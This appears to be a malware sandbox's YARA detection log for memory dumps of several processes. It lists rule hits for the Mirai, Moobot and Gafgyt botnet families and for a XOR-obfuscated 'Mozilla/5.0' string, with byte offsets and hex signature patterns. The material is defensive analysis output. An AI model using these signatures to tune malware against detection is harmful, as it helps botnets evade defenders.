6760.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6760.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6760.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6760.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6760.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6760.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6253.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6253.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6253.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6253.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6253.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6253.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6575.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6575.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6575.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6575.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6575.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6575.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7420.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6525.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6878.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7102.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7055.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6543.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6543.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6543.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6543.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6543.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6543.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6907.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6427.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6242.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6242.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6242.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6242.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6242.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6242.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6968.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6234.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
